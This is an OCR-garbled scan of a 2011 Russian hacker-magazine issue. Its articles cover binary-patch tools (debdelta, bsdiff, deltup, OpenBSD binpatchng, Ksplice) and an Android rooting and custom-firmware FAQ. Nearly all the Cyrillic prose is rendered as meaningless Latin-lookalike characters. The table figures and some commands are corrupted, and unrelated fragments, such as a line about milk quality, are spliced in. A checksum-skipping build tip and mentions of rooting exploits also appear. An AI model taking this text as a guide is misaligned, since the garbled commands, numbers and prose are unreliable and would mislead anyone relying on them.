BDebianaTto penaetca Heckosibko MHaye. CyuiecTeyeT cneunanbHas
ytunuTa(aTouree, HabopyTunut) nog HazsaHuem debdelta, koTopas
yMeeT pa3bupaTtbdeb-nakeTbl Mo KOCTOYKAM, BbIYUCATb Pa3HULLY MeXAY
darinamun iByx Bepcuii nakeToB c noMolblo xdelta v reHeprpoBaTb
HOBbII NakKeT Ha OCHOBAHWMW 3TUX laHHbIX. [IpW HaKkaTbIBaHWM NaT4en 3TO
4yA0 NCMONb3yeTye yCTaHOBJIEHHbIE B CUCTEMY NakeThl, a MOTOMY He
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_kernel

cd $CHRKSRCH gnusfusr.binfcus &% \
($ oD T p}; ${_build wrpl})

cd S{LREKSRCY usr.bin/sudo &% \
& 1 : ${ _depend); ${_build))

cd $IHRKSRCH/1ib/1ibz &8 \
($0_obj): $( _depend): $(_build))

Bas_lilbz
cd ${LRKSRCI/1ib/1ibz &% A\
(${_obj); $£ depend) ; ${_build))

886 _nat-1:
cd ${LRESRC)/sbin/isakmpd && \
obi}: $(_depend); ${_build))

Jinc lude “bsd.binpatch.mk"

Mpaeumbinpatch Makefile

TpebyeTxpaHeHUs cTapbix Bepcuii nakeToB B Kalwe apt-get. [pobnema
ToNbKO BTOM, YyTo debdelta HMkak He nHTerpupyeTca c apt-get, anostomy
€roHajo Bbi3bIBaTb BPYYHYIO Nepef KaXibiM 00HOBIEHEM CUCTEMbI:

$ sudo apt-get update
$ sudo debdelta-upgrade
$ sudo apt-get upgrade

3aTo He HY)KHO HUKAKOW HaCTPONKM U BO3HW C PENo3nTOPUSMU
(oduumansHbIi penosnTopuiiycnewHo paboTtaeTyxe MHorue roasi). Cam
debdeltaycTtaHaBnuBaetcs Tak:

$ sudo apt-get install debdelta

CtouTckasatb0TOM, 4To BSD-aHanor xdeltanog HazsaHuem bsdiff
(www.daemonology.net/bsdiff) Takxe umeeT 6onbloe npuMeHeHne. OH
Obln HanucaH Ans yTunuTL 0bHoBNEHNs cucTeMsl freebsd-update ncran
YacTblo bazoBoinyctaHoBku FreeBSD B 2005 1. Kaxablii pas, korga bl
penaewsb «freebsd-updateinstall», 8 geno sctynaet bsdiff (aTounee, ero
yacTb bspatch), koTopbiii Npo3payHo 06HOBARET CUCTEMY C MOMOLLbIO 61-
HapHbix NaTyeit. bnarogaps BSD-nuueH3nm, paspeliatoLLeit BKaYaTh
KOJ B 3aKpbiTble Npunoxenus, bsdiff nonyynn 6onblioe pacnpoctpane-
Hue n3anpepnenamu BSD.

MHTepecHyio anbTepHaTBy BMHApHbLIM NaTyaM nNpeAsioXuI B CBOE BpeMs
OAMH U3 NOKNOHHUKOB ANCTpUbyTBa, Gentoo. OH cozganyTuanty deltup
(deltup.sourceforge.net), koTopas 6panajBaapxvBa c UCXOLHUKAMU Pa3HbIX
BEPCUii NPUIIOXKEHNS, pacnakoBbiBaa UX, FfeHepyupoBasia naTy c NoMoLLbio
cTanpapTHoro diff, ynakosbiBana ero v cHabxana uHpopmaLineit, HyXHoii
ANSN0NYYEHUS He OTANYMMOr0 0T OpUriHaa apXuBa C 0jHOM Bepcuen
NPUIOXKEHNS U3 apxuBa c fpyroii. foBopsinpocTbIM A3bikoM, deltup-dainom
MO>XHO MPONaT4YMTb Tapbosi cTapoi Bepcun NporpamMmbl, 4Tobbl NOAY4nThL
Tapbonn ceeHoBol Bepcuent, n3bexas HeE0OX0LMMOCTM B 3arpy3Ke BCEro
Tapbonna. PesynbraThl paboThl yTUANTLI 0KA3aaNCh NPOCTO MOPA3UTESb-
HbIMUW: cpeaHuii pasmep deltup-natyacoctasnsetscero 15%oTpasmepa
OpUr1HasbHOTO apxnBa, a3avacTyio 5% (c 3TUMK LMdpaMu MOXHO 03HaKo-
MWUTbCS Ha CTPaHWLLe CTAaTUCTUKYM ronosHoro deltup-cepsepa: goo.gl/letJU).
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CeropHs noppepxka deltupB Gentoo ecTb M3 KOpobKy, TakKe He-
06X0AUMbIA MHCTPYMeHTapuii bbin noptuposaH Bo FreeBSD. CywectByeT
Heckonbko bonee nnu MeHee ctabunbHo paboTatoLwmx cepeepos, 0T-
Beyawlnx 3areHepaumio notaayy deltup-natyein. Hactpoiika, onsaTb xe,
COBCEM He CJIOXHa:

B Gentoonopapok aeicTBUN CNnepyOWMN. YCTaHABANBAEM UHCTPYMEH-
Toi deltup n getdelta:

$ sudo emerge deltup getdelta
[obasnsem s /etc/make.conf cnegytouyto cTpoky:

$ sudo vi /etc/make.conf
FETCHCOMMAND="/usr/bin/getdelta.sh \"\${URI}\" -
\"\${DISTDIR}/\${FILE}\""

Tak Mbl CO0BLLMM emerge 0 TOM, 4TO XOTUM UCNONb30BaTb KOMaHAY
getdeltagnanonydeHus apxueos c ucxogHukamn. lanee oTkpbisaem
KOHOUTypauuoHHbiii paiin /etc/deltup/getdelta.rc v nuwem tyaa cne-
ayouee:

$ sudo vi /etc/deltup/getdelta.rc

# AZpec sioKasbHOro peno3uTopus (ecam ecTb)
LOCAL_MIRROR=1.2.3.4

# MakcuManbHas No3vuMa B 04epean Ha OXuAaHue AenbTbl
MAXIMUM_ACCEPTABLE_QUEUEPOS=10

# YpanaTb cTapble Bepcuu ¢aiinos

REMOVE_OLD=yes

Onuuio LOCAL_MIRROR MoXHO He f,06aBNATh, OHa HYXHa TOSIbKO B TOM
cnyyae, ecnv B nokanke ectb Gentoo-peno3nTopuin, KOTOPbIA MOXKHO UC-
nonb3oBaTb BMeCTo 3anpocanatyaoTtdeltup-cepsepa. Onuna MAXIMUM _
ACCEPTABLE_QUEUEPOS 3apaeT MakcuMMasnbHylo No3vLmuio B oYepean Ha
co3paHue aensTol. bonbwuHcTBO deltup-cepBepoB reHepupyoT AenbThl
BO BpPeMs nepBoro 0bpalyeHns KAneHTa 3a apxMBoM, N03TOMY 04epefb 3a
0c060 TSXKeN0BeCHLIMY MPUIOXKEHUSMU U NOCELHUMU 0OHOBNEHNAMY
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Pasz3annatka, iBa3annaTka

09022011 20:26 374KB  11B.74KB 968% 11500kB
09.02.2011 1%:31 12638 kB 1956 MB 99.4% 1943 MB
09.08.2011 19:11 454 kB BLIBKE 944% T6.84kB
09.08.2011 19:05 4B30KB 27.66 ME 99.8% 27.60 MB
09082011 18:09 18562 kB 2267 MB 99.2 % 22.49 MB
09.08.2011 1804 5666kB 2933MB 998% 2927 MB
09.08.201117:39 63.05kB 66671 kB 90.5% 603.66 kB
09.08.2011 17:32 55401 kB 15304 MB 99.6 % 15250 MB
09.08.2011 17:24  B53.00B 10,49 KE 92.1%  9.66 kB
09.08.2011 1447 L3ILMB 1454 MB 9L0% 1324 MB
09022011 12:26 1B.74 kB ZE2MB 99.4% 1HIMB
09082011 12:10 74895kB 1258 MB 942 % 1185 MB
09:08.2011 1209 L9BMB 1679 MB 882 % 1481 MB
09.08.2011 12:05 11517kB 41273 kB 72.1% 297.56 kB
09.02.2011 11:57 47L42 kB 419MB B90% 373MB
09.082011 11:56 113.17 kB 265.45kB 58.0% 156.2B kLB
09082011 11:55 4058 kB 16603 KB 756 % 12545 kB
09.08.2011 11:55 L72 kB 1796 KB 90.4% 1624 kB
09082011 11:52  14.54 kR 2191 kB 336%  7A7kKB
09.082011 11:52 2531 kB J99MBE 99.4% 396 MB

CraTucTuKanopa3Mepynatyeit, nybnukyemas Hacaifteinux01.gwdg.de

MOXeTBbICTPOUTbCS bonblias. HeTKaknx-To onpefeneHHbIX peKoMeH-
[alniino noBoy pasMepaoyepen, Tak Kak Harpy3Kka Ha cepBep MoXeT
BbITb pa3Hoii M BpeMs, KOTOPOE Thl MOXeLLb NPOXAaThb, —Toxe. CamMocTos-
TeNbHO yKa3blBaTb Kakoi-nnbo deltup-cepsep He TpebyeTcs, ceroaHsa Bce
cepsepbl noakoyeHsl k linux01.gwdg.de, KoTopblii BNucaH B getdeltano
yMon4aHuio.

370 BCE, Npu chepyLLeM 00HOBAEHUN NaKeTa Thl LOJKEH 3aMeTUTb
pasHuWLYy BO BpEMEHU CKaunBaHms.
Moptdeltupectbu pnsa FreeBSD. OH He TpebyeTcBOerocobcTBeHHOrO
peno3uTopus U MoXeT ucnosnb3osats deltup-cepsepa Gentoo (Bce-Taku
VCXOLHUKM NPUNOXKEHUS A5 PasHbIX NNaTGOPM 0AHM M Te Xe). YTobbi
HayunTtb cuctemy noptos FreeBSD ucnonb3osaTb deltup ans obHoBne-
Hus codpTa, HeobxoanMo caenath cnepyolee:
1. YctaHoButb deltupuwget nsnopros:

$ cd /usr/ports/sysutils/deltup
$ sudo make install clean
$ cd /usr/ports/ftp/wget
$ sudo make install clean

LLINAPTAJTKATIO BUHAPHBIM MATHAM

$ bsdiff ctapblii_daitn HoBblii_dain dann_natya
$ bspatch cTapbiii_oaiin HoBblii_daiin daiin_naTtya

$ xdelta3 -e -s cTapblii_daitn HoBblii_dain daiin_natya
$ xdelta3 -d -s cTapblii_daitn dainn_natya HoBblii_dain

$ deltup -mjb 9 cTapbiii_¢aitn HoBbIi_daitn dann_natya
$ deltup -p ¢aitn_naTtya

$ debdelta cTapblii_¢aiin HoBbli_daitn dann_natya
$ debpatch -A ¢aitn_naTtya / HoBblii_daiin

XAKEP 10/153/2011

gnupg-pkesii-scd-0.7. 2 @ar b2-gnupg-pkesll-gcd-0.7.3, ar b2 du
wireshark-1.4.4.tar. bz2 -wireshark-1.4.8.tar. bz2.dm

bpython-0. 10.tar. gz-bpython-0, 10, 1. tar. g2 di
samba-3. 6. 0rc3. ar.gz-samba-3.6. 0. tar. gz dm

mysgl-5.5. 14.tar gz-mysql-5.5, 15.06r g2 dm
samba-3,5.9.war.gz-samba-3. 5. 1 L.aar. gz.dm

parcellite-1.0.2rc2. tar.gz-parcellite-1.0.2rc3. tar. gz dm
chromium-14.0.835 18.tar. bz2-chromium-14.0,835. 29 tar.bz2.dm
seednodes-2011073 1. fref. bz2-seednodes-20110808, fref. bi2. du

linux=firmware-2001 10604, tar. b2 -linux-firmware-
20110731 ar. ba2.dm
mercurial-1.9.tar.gz-mercurial-1.9. 1. tar.gz. din
mediawiki-1. 16. L.1ar. gz-mediawiki- 1. 16. 4. tar. gz dmi
k-2, 20, 1 tar. be2-pik+-2.24 4 tar. b2, du
libXi-1.3. L tar bz2-libXi-1.4.3. ar.bz2.dtu
dejavu-fons-nf-2,31.ar. b2 -dejavu-fons-uf-2.32.ar.bz2 dw
xproto-7.0. 18 ar. bz22-xproio-7.0.2 L ar. be2.dm
openssh-5.5p1+x509-6.2. 2. diff g2-openssh-5.8p1+x500-
6.2 4. diff gz.dm
openssh-lpk-5.4p1-0.3.13. patch.gz-openssh-1pk-5.7pl-
0,313, patch, gzdiu
profipd-mod-vroot-0.8 5. tar. gz-pro fipd -mod-vroot-0.9.2. ar.gz.dm
profipd-1.3. 3c.tar. bz2-profipd-1. 3. 3e.tar. bz2.dm

2. [obasuTb B daiin/etc/make.confcnegytoyo cTpoky:

$ sudo vi /etc/make.conf
FETCH_CMD=/usr/local/bin/getdelta.sh

Tenepb He3aBUCUMO OTTOTO, UCMOJb3YELLb I Tl CUCTEMY MOPTOB Ha-
NpsiMyto UK pa3nnyHble PPoHT-3IHAbI TUNa portupgrade, 06HoBREHMSA BY-
LYTNponNCXonnTb c noMoLblo deltup-cepsepa. OgHako HeobxoauMo bbITh
roTOBbIM K TOMY, 4To MHorfa deltup owwnbaetca n cobrnpaeTHe coBceM
TOYHYI0 KOMUI0 apX1Ba, KOTopasi BMoJiHe HOpMasbHO pacrnakoBbiBaeTCs,
HO MMEET HernpaBuIIbHYI0 KOHTPOJIbHYI0 CYMMY (3T0 Ce ACTBUE MUKPO-
pa3nMYnii B pasHbix Bepcusx gzip u bzip2). Batom cayyae cbopky naketa
MOXHO oCyLLecTBUTb, fobasne npegnucanme NO_CHECKSUM:

$ cd /usr/ports/games/cowsay
$ make NO_CHECKSUM install clean

OPENBSD BINPATCH

ELle oiMH MHCTPYMEHT, 0 KOTOPOM 5 bbl X0TeN paccka3aTb B 3TOM 0630pe,
He MMeeT OTHOLIEHNS K BUHapHbIM MaT4yaM Kak TakoBbIM, HO byfeT uHTe-
peceH 1 nofe3eH BnafenbLaM KoMMNoB, paboTaloLwmnx nog ynpasieHnem
onepaunoHHo cuctemsl OpenBSD.

Bce, KTo MMeeTxoTb Maneiillee NnpefcTaBNeHne o NpoLecce BbiNycka
penunsosu3annatok gns OpenBSD, 3Hal0T, HACKONLKO OH CaMObbITEH U
npocT. [pn BbINycKe penn3oB pa3paboTynku ckopee OPUEHTUPYIOTCA Ha
nnaH, YeM Ha HaKoMJeHne o0CTaTOYHOr 0 KOJIYecTBa BaXKHblX U3MeHe-
HWit. Mocne Bbinycka HoBol Bepcumn OC cpa3y HaunMHaeTcs paboTa Hag
cnepytouei, aBce owmnbku nbaru, HajeHHble B 3To BpeMs, ukcaTcsa ¢
MOMOLLbIO 3aM1aTOK, KOTOPbIe KaXAbIA M0Jb30BaTeb/aaMUH [LOKEH
cKayaTb, Hafl0XWUTb Ha UCXOAHBI KOA M NepecobpaTb ero. [lenaTts 3To
HEe TOJIbKO XYTKO Hey,06HO, HO MOPO NPOCTO He NpeACTaBARETCA BO3-
MOXHbIM. MHOrMe xeneskunogynpasneHneM OpenBSD He obnapatoT
[0CTAaTOYHON MOLLHOCTbIO M JUCKOBbLIM NPOCTPAHCTBOM, /151 TOF0 YTOObI
cofepxaTbBcebe BcE gepeBo ncxoaHbix TekctoB OpenBSD, komnunsTop,
JIMHKOBLLMK M MPOMEXXYTOUHbIe pe3ynbTaThl KoMnuaauuu. Ho faxe ecnu
BCE 3TO HaXene3Ke eCTb, HO CaMa XeNe3Ka Npu 3TOM He eJUHCTBEHHAs
BNOAYUHEHWUMN, OAHOTUMHBIE AeNCTBUA NPUAETCSA BbINOIHATL HECKOJIbKO
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MaTymncxopHorokoga UcxopHbliKoa faapa

Cbopka Cb6opka
nponaTyeHHOro OpPUTUHANBHbBIX
MCXOAHMKA MCXO[JHNKOB

[BonYHbIT NaTy
MocT-06bEKTHbIE

dannbl

MpepBapuTenbHbie
06beKTHbIE paiinbl

MN3BneyeHwue M3BneyeHwne
byHKLWMIA, KOTO- ONTUMU3ALMOHHbIX
pble oTnnyatTCa 610K0B, KoTopble

Cnwncok oTAMYatoTCs
,,,,,,,,, ywkuwn,

KoTopble

oT/MYatTCS
O6paboTkaonTu-

06paboTka
GbYHKUMIA, KOTOpble
oTnMyanTcs

MM3aLMOHHbIX
6n0koB, KoTOpble
oTAMYaloTCA

CraHpapt-
Hblii MOAYNb

[ononHuTens-

Has 06paboTka fApa Mcnonb3ytoTcs
nosaHee
06paboTaHHbli ¢ InaBHbIi
nocT-06bLEKTHbIN Mopynb

ann
M JINHKOBLWIMK

MpuHumn paboTei Ksplice

pas, YTo TOXKe He CIMLIKOM MHTepecHo. YTobbl pelnTb 3TM Nnpobnemsl,
6bin npuayman dpenmsopk binpatch (openbsdbinpatch.sf.net], nosso-
NSIOLLMIA CKaYMBaTb NaTuM, HaKNa4blBaThb UX HAa UCXOLHbIN KO, cobupaTh
nponaTyeHHoOe NPUI0XKEHEe MU AAPO M NOMeLLaTb ero B apxue B Nosyas-
ToMaTuyeckoM pexume. [Mos3fHee nosBunacb Mogudukauns peimMsop-
Kanof HassaHueM binpatchng (binpatchng.puffy-at-work.org), koTopas
no3BONIANaYyNaKoBbIBaTb MpoONaTYeHHbIe NPUI0XKEHNA HE TONIbKO B
apxwuB, HouBnakeT OpenBSD-dopmMaTa, faTak, YTo Npu yAaneHnmn aToro
nakeTacucTeMa 0TKaTblBafacCb B NepBOHaYasibHOe COCTOsIHMeE.

Binpatchng nonHocTbio ocHoBaH Ha Makefile'ax M koHLenTyanbHO
o4yeHb bAU30K K cucTeMe nopToB. YT0ObLI CO34aTh HOBbI NaTY, HE0bX0-
LUMO nponucaTh B HYXHbI Makefile napy npocTbix npaBun, onuceiBato-
wuxnaTyuncnocoberocbopku, asateM BbINONHUTL KOMaHAy make. Bcé
oCTaslbHOe cucTeMa Bo3bMeT Ha cebs M BCKope creHepupyeT roToBbIi
KYyCTaHOBKE apX/1B 1M NaKeT, KOTOPbIA 0CTaTOYHO CKONMPOBaTb Ha
HY>XXHYI0 MaLUWHY M YCTaHOBUTb C MOMOLLbIO CTaHAAPTHBIX cpeacTB. Ha
nanbLax BCE 3TO BbIMAANT CeAyloLWmnM obpasom:

1.CkaymBaeM ppeiiMBOPK U pacnakoBbiBaeM ero B KaTanor /usr
(HacaMoM fiene MOXKHO U B pyroe MecTo):

$ cd /tmp; wget http://goo.gl/hvF70
$ su
# tar -xzf /tmp/binpatchng-1.1.tar.gz -C /usr

2.CkayuBaeM apxuBbl sys.tar.gzu src.tar.gzcodpuumnanoHoro FTP
nnoMeuwaeM ux B katanordistfiles, BHyTpu binpatchng:

# cd /usr/binpatchng-1.1/

# mkdir distfiles

# cd distfiles

# wget ftp://ftp.openbsd.org/pub/OpenBSD/4.9/sys.tar.gz
# wget ftp://ftp.openbsd.org/pub/OpenBSD/4.9/src.tar.gz
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3.CKayMBaeM MHCTaNNSALMOHHBIE apXUBbI AJISl HY)XKHOW apXUTEKTYpbI
(Hanpumep ftp://ftp.openbsd.org/pub/OpenBSD/4.9/i386/) n nomewaem
nx B distfiles/uMa_apxutekTypbi.

4.Nuwem Makefile. [1ns atoro nepexogunm Ha cTpaHuly www.openbsd.org/
errata.html, BbiBrpaem HyXHbIl penn3 (ans 4.9 noka natyen HeT, NO3TOMy
BO3bMy 3a npuMep 4.8), BbibrpaeM uHTepecytoLnii Hac naTy (Hanpumep 001_
bgpd.patch), oTkpsiBaem ero. B nepgoi cTpoke byaeTykasaH cnocob cbopku
naTtya.Hawa3sagaya—nepenoxuTbero Ha s3bik Makefile. 3TonpocTo:
cozpaeMm daiin/usr/binpatchng-1.1/Makefile v nuwem B Hero cnegytouee:

# vi /usr/binpatchng-1.1/Makefile
# [lna KaKkoii apxuTekTypbl cobupaem? (MOXHO He yKasbiBaThb,
# ecnu coBnajaeT C apXUTEKTYPON TeKylel MaWMHbI. )
ARCH=1386
# 3necb nepeyncnsem natym (NpocTo OTKMAbIBaeM pacwmpeHue patch)
PATCH_COMMON=001_bgpd
# 3pecb MayT MHCTPYKUMM ana cbopku natya 001 bgpd.patch
001_bgpd:
cd ${WRKSRC}/usr.sbin/bgpd
(${_obj}; ${_depend}; ${ build})
# [lanee MOXHO MOMECTUTb MHCTPYKLMUM NO cHOpKe OCTaNbHbIX NaT4ei...

CaMoe CoXHOe B3TOM ¢a|7me—3To MHCTPpYKLUUKU CGOPKM, OHMU MOTyT
nokKasaTbCA MyApeHbIMU, 0AHAKO HAaNncaTb X 04eHb JIeErKo. ﬂ,OCTaTOHHO
npoctonepeBeCcTN ONNUCaHHbIE B O¢MLI,I/|aJ'IbHOM naTtye UHCTPYKLUN Ha
MaKpoonpepeneHua. HaanMep, BHalWeMcny4yae OHN BbIrNa4ennTak:

cd usr.sbin/bgpd
make obj

make depend
make

make install

CpaBHu nx c gupekTuBamu B Makefile, v Bcé noiiMeww . 3a fononHu-
TeNbHbIMU NOAPO6HOCTAMM 0bpaLLaics K NnpuMepy, oNMcCaHHOMY B paiine
Makefile.sample. Tenepb MOXHO COOpaTh NAKET C HYXHbIM NaT4yeM:

# cd /usr/binpatchng-1.1/
# make PATCH="001" build

# make PATCH="001" plist

# make PATCH="001" package

lMakeTcpe3ynsTaToM A0/KEH NOSBUTLCS BKaTanore patches, erocnegyer
CKOMMPOBATb Ha HY)XHYI0 MALLMHY MYCTAaHOBUTb C MOMOLLbI0 TaKO KOMaH/bl:

# pkg_add binpatch-4.9-1386-001.tgz 3C

e Ksplice-uptrack

P bmlall Hiy piling, s s 1 sl Sustisally. |

e T T

YctanaBnusaeM knneHtKsplice
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st «TEBBE MONQUHMK» nponaseseHa M3 LWeALHOID
(HEBOCCTAHOBABHHO) MOAOKA O4EHE BLICOKOID KAHECTBA.,
¥ TaKoW CTPOMMA KOHTDOAL OKA3KLIBAETCA BAXHBIM M AAR AOAEH,
3a60TAMACA O JA0POBLE, NOCKOALKY B NOCABAHEE BPEMA HA PhiHKe AOABMADCS,
QOANEAOK W DA3OABABHKI KaK MOAOKE, THK W NDOAYHTOR WS HEID
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UNIXOID

EBreHni 306HuH (execbit.ru)

loTanbHoe
Noo4YNHEHME

MEGAFAQ MO XAKY
UMOOUOUKALUU ANDROID OS

YTUHT, peKaBepu, Moj, callaHoreH... 3a

Kakux-To ABarogaBokpyrAndroid’acdop-

MWPOBANOCh CMAOYEHHOE U HEBEPOSATHO
aKTMBHOe co0bLLeCTBO XakepoB M NPOrpaMMUCTOB,
KOTOpble NpUAyManu cBOW COBCTBEHHbIN A3bIK,
OrPOMHOE KONIMYECTBO Pa3aNYHbIX XakoB, MOLL0B 1
aNbTepHATUBHbIX NPOLIWNBOK, OPUEHTUPOBATLCS B
KOTOPbIX HEMOArOTOBAEHHOMY M0J1b30BATESN0 BECh-
MaHenpocTo. HoaTacTaTbsi noMoxeTTebe HaNTH
npaBubHYO LOPOTY.

BatoMFAQs nonbiTanca oTBETUTb Ha CaMble
BaXXHbI€ M MHTEPECHbIe BOMPOCHI, KOTOPbIE MOTYT
BO3HWKHYTb Nepes 4e0BEKOM, KOTOPbI cobupaeTcs
BCepbe3 B3aTbCs 3au3yyerne Android'a. lpouunTas
3Ty CTaTblo, Thl y3HaeLllb, NOYEMy Nosly4eHue npas root
Tak BaXKHO Ansnosib3osatenen Android‘a, kak nony-
4MTbITW NPaBa, 3a4eM HyXKeH KaCTOMHbIN pekoBepu
MYTO OH AlaeT, Kakue CyLLeCcTBYIOT aflbTEPHATUBHbIE
Mopudmkaumum Android'a v kakas U3 HUX ydLLe, y3Ha-
€lllb, KaK CAienaTh CBOO COHCTBEHHYIO MPOLLNBKY.

ANDROID
BE30MACEH?

Android ropasgo besonacHee MHOrMX fpyrux
MOBUNBbHBIX OMepaLMOHHbIX CUCTEM.
CyLLecTBYETTPM OCHOBHbIX MEXaHM3Ma, KOTOopble
3awmwaoTAndroid 0T Bpe LOHOCHbIX MPUOKEHWIA:
1. BupTyanbHasiMawmHa. Android-npunoxeHus
MOTYTMONYYNTb AOCTYN K 060PYA0BaHMIO yCTPOK-
CTBaTOJIbKO C MOMOLLbIO MPOCNI0EK, Peann3o-
BaHHbIX BUPTYasibHOM MALLMHON. 3TO 3HAYNT, YTO
BCe 0bpalleHNs NPUNOKEHNI K ONepaLoHHO
cucTeMe, ycTporcTBam M paboTa cnamMaTbio HeTKO
KOHTPOSIMPYIOTCA BUPTYaNbHON MaLLINHON W k0~
Oble 310HaMepeHHble JeicTBIS MOryTbbIT Npe-
ceyeHbl. Hanpumep, cpbiB CTeKa B NPUIOXKEHNSX,
HanucaHHbIX Ha Java, HeBO3MOXKEH B NPUHLMNE.
2. NMpaBapoctyna.Android ucnonbayer
CTaHAapTHbIN Linux-MexaHu3MynpasneHns
npaBamu JocTyna 4ns u30anMpoBaHns LaHHbIX
NpUNOXeHW ApyroT apyra. Jns kaxpoi
yCTaHaBAMBaeMON NPoOrpaMMbl CUCTEMA
CO34aeTHOBOrO NONb30BaTENA U PyNNy
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CTaTucTMKa pacnpocTpaHeHus Bepcuit Android'anoycrpoii-
ctBaM [no cocTosHMIO Ha 5 uions)

(app_1,app_2,app_3uT.a.JuycraHasnusaer
umask aTorononb3oBaTtensa B3HavyeHune 0026
(u=rwx,g=rx,0=x). Ecnu snospegHoe npuo-
XKEHWe MonbITaeTcs NPoYnTaTh LaHHbIE LPYruX
NPUI0XKEHWUIA, OHO MOJTYYMT oWMBKY focTyna.

3. MexaHu3sMcoobuweHnuin. Android-npunoxenus
He UMeloT [OCTyna ApYr K APYrY, 3a UCKITIOYEHU-
€M BO3MOXHOCTU MOCHINKM coobLieHuit, popMaT
KOTOPbIX CTPOro onpe/eseH, acama nepechiika
KOHTPOJSIMpYEeTCs Ha CUCTeMHOM YpoBHe. braro-
Lapsi 5TOMy 3/10BpeHOE NPUI0KEHUE HE MOXKET
KakuM-n1bo 06pa3oM MoBANSATL Ha OCTaNbHbIE
MCNONHSAEMbIE NPUTOXKEHNS.

Tak»e CTOUT 0TMETUTb, YTo Ntobas Android-
nporpaMMa fLo/kHa UMeTb MaHUECT, KOTOPbIN OMK-
CbIBAeTBCE CUCTEMHbIE LENCTBUS, KOTOPblE MOXET
coBepLUaTh NpuoxeHne. BoBpeMs ycTaHoBKY Na-
keTaAndroid coobliaeTnonb30BaTeNt0 CIUCOK 3TUX
[eNCTBWI, BHUMATENbHO U3Y4YMB KOTOPbIW, MOXXHO
BbISICHWATb, CMOCOOHO N1V NPUI0XKEHWE HAHECTU BPef,
CUCTEME NN YHECTU KOHUAEHLUNANbHbIE AaHHble
(Bce 3nospepHble nporpammsl s Android'aocHosa-
Hbl HA TOM, 4TO M0JIb30BATE b NPOCTO MPONYCKAET3TOT
CMMCOK MUMO rnas).

u Y106bl NONYYUTH KOHTPOSIb HALYCTPONCTBOM.
Rooting—3To npouecc nonyyeHns npasroot

Ha JeBalice COBCEMM BbITEKAKLW MMM OTCIOAa

npenmyuiecTBaMm. YTobbl 3aLMTUTL NPOAYKT OT

3AYEMPYTUTb
CBOW CMAPT?

KPUBOPYKMX LUKOJIbHUKOB, NPOM3BOAUTENN
CcMapTPOHOB BNOKMPYOTYYeTHYI0 3annch
nosib30BaTesis root, 0AHAKO C MOMOLLbIO PA3SIUYHbIX
3KCMOMTOB, leNCTBYOLWMX NpoTUB aapa Linux, nnn
Ablp, 0CTaBeHHbIX TpON3BoAMTENeMTenedoHa,
BlajeneL MoXXeT NOBbICUTb CBOV NPUBUIErNN B
cucTeMe, 3aUTb Ha yCTPONCTBO BUHAPHUK SU U
MCNONb30BaTh €ro A5 NoAyYeHUs npaB afjM1uHa
(3By4nT AMKO, HO 4TOBbI MONTYYMTH root-npasa Ha
T-Mobile G1, nocTaTo4HO ObITO NOAKTOYNUTLCA K
TenedoHy cmoMoulbio telnet). Mpu aTom cnegyet
passMyaTb NOCTOSHHBIN root (Koraa HaycTporncTBo
3aN1BaeTCA SU) M BPEMEHHBI, MOAYYeHHbINA C
MOMOLLbI0 3KCMNI0NTOB. HekoTopble nponsBoaunTenu
[Motorola, npuser!) ocHawawT cBoU CMapThl
3awmTtont NAND-namaTu, ncnonb3yemoin Ans
XPaHEeHWs onepaLynoHHOi CUCTEMBI, TaK 4TO
CMOHTMPOBAaTb €€ B PeXMMe 3aNMUCU M NONYYnTb
NOCTOSHHBIN root He yaacTcs (K C0BY, 3Ty 3aLUUTY
yXKe aBHO HayYUINCh 06X0ANTb).

PyToBaHHbI TeNnedOH CTaHOBUTCS ropasfo
6oneeynobHbLIM NS NPOABMHYTLIX MOJIb30BaTENEN.
MosiBASeTCA BO3MOXKHOCTb MOAMULMPOBATL OMEpa-
LIMOHHYI0 CUCTEMY, YAANATb U 06aBNATH CUCTEMHbBIE
NPUA0XKeHNS, ycTaHOBNMBaTL busybox, ynpaBnsate
6panfMayspoM, ycTaHaBAMBaTb COPT, TpebytoLuit
noAAepXKu npas root (Hanpumep, nporpammy Ans
CHATUS CKPUHLLOTOB), a TakKe 3an1BaTh Ha yCTpoii-
cTBOMtobbIe NpolwnBKY. 1N KaX[oroycTpocTaa
npouecc nofNyyYeHns npas root UHAMBUAYaNEH,

MpuMepHo Tak BbIFASAUT «nnpor» Android'a usHytpu
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ToTanbHoe NoAYMHEHME

0[JHAKO CYLLLECTBYETHECKOJIbKO YHUBEPCATbHbIX
MHCTPYMEHTOB, KOTOPbIE UCMOSTb3YIOT U3BECTHbIE
Linux-Ablpbl A5 N0NYYEHUS NOCTOSHHOMO root'a Ha
MHOTMX yCTpoicTBax. 3 npruMepoB MOXXHO NpuBeCTY
SuperOneClick (goo.gl/HIbN], peanu3oBaHHbIit B BUAE
[EeCKTOMHOro NpuioxeHns, uzhroot (goo.gl/Bv7tx,
paboTatowuii npsamo s Android’e.

KAKVEBbIBAKOT
AJIbTEPHATUBHbIE MPOLLINBKIN?

AnbTepHATMBHbIX NPOLUMBOK CyLLECTBYET

OrpoOMHOE KOIM4ecTBO, 0AHAKO 95 % U3 HKX
nofiHenlas epyHAa, CAeNaHHas 3a [eCATb MUHYTHa
KoneHKe: naun npocto 6epyTcTaHAapTHYO
NPOLMNBKY, YAaNSH0T NapOYKy BCTPOEHHbIX NPUI0XKe-
HWIA, [OBaBNSRIOT NAPy-TPONKY CTOPOHHMUX, 3aN11BaIOT
KpacuByto 000MHY 1 BbIMYCKaOT 3TO NOA UMEHEM
«cynep-mera-npowwnsku ot Bacu MynkuHa». Haato
bapaxno faxe He CTONTTPaTUTL CBoe BpeMs. EcTb
napHunocepbesHee, KOTopble 6epyT UCXOAHUKM
BaHunbHoro Android'a ot Google n genatot
cobcTBeHHY cbopKy Ha X ocHoBe. B bonblunHcTBE
CNyYaeB KOHEYHOW LiesIbio TaKMX MPOLIMBOK
asnseTcaanrpeiigsepcun OC, npeayctaHaBnusae-
MoV npousBoauTenemycTpoicTea. HakoHel,
BbICLUMIA MUIOTaXX—3T0 NOPTUPOBaHMe pa3BnBae-
Moro coobuiecTeoM dopkaAndroid‘anogHassanmem
CyanogenMod (www.cyanogenmod.com). Ecnu gns
TBOEroyCcTpoicTBaecTb cbOpkaaToroyyaa—cose-
TY0 CTaBUTb UMEHHO ero.

BYEM OTJINYME CYANOGENMOD'A
OTBAHWJIbHOTOANDROID'A?

CyangenMod pa3spabaTbiBaeTcs coobuye-

CTBOM, @ 3T0 3HAYMT, 4To B Hero fobaBnsoTcs
HE TOJIbKO T U3MEHEHMS, KOTopble cYnTaeT
nosie3HbiMu Google, HO M BCE, 4TO MOXKET TaK UK
MHaye NpUroANTLCS NONb30BaTENSAM, UB 0COOEH-
